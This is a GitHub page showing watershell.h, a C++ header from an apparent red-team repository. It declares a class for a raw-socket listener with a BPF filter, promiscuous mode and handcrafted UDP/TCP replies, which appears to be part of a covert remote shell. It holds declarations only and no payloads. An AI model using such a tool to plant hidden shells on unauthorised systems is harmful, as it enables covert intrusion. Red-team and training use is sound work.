forked from RITRedteam/watershell-cpp
-
Notifications
You must be signed in to change notification settings - Fork 3
/
watershell.h
80 lines (74 loc) · 1.94 KB
/
watershell.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#ifndef WATERSHELL_H_
#define WATERSHELL_H_
// Networking
#include <arpa/inet.h>
#include <fcntl.h>
#include <ifaddrs.h>
#include <linux/filter.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
// General
#include <csignal>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <iostream>
#include <limits>
#include <regex>
#include <sstream>
#include <string>
class Watershell {
public:
char iface[100];
std::string gateway_mac;
Watershell(int port);
Watershell(int port, bool DEBUG);
Watershell(int port, bool DEBUG, bool PROMISC, bool TCP_MODE);
int RunOnce(void);
void Init(void);
private:
bool DEBUG, PROMISC, TCP_MODE;
int port, sockfd;
struct ifreq *sifreq;
struct sock_fprog filter;
void SetGatewayMAC(void);
std::string GetMacFromIP(char *ip_addr);
void GetInterfaceName(char iface[]);
void SendReplyUDP(unsigned char *buf, const char *payload);
void SendReplyTCP(unsigned char *buf, const char *payload);
// void Sigint(int signum);
void CalcIPChecksum(struct iphdr *ip);
};
/* its a datagram inside a packet inside a frame!
* gotta be packed though!
*/
struct __attribute__((__packed__)) udpframe {
struct ethhdr ehdr;
struct iphdr ip;
struct udphdr udp;
unsigned char
data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
};
/* its a datagram inside a packet inside a frame!
* gotta be packed though!
*/
struct __attribute__((__packed__)) tcpframe {
struct ethhdr ehdr;
struct iphdr ip;
struct tcphdr tcp;
unsigned char
data[ETH_DATA_LEN - sizeof(struct tcphdr) - sizeof(struct iphdr)];
};
#endif // WATERSHELL_H_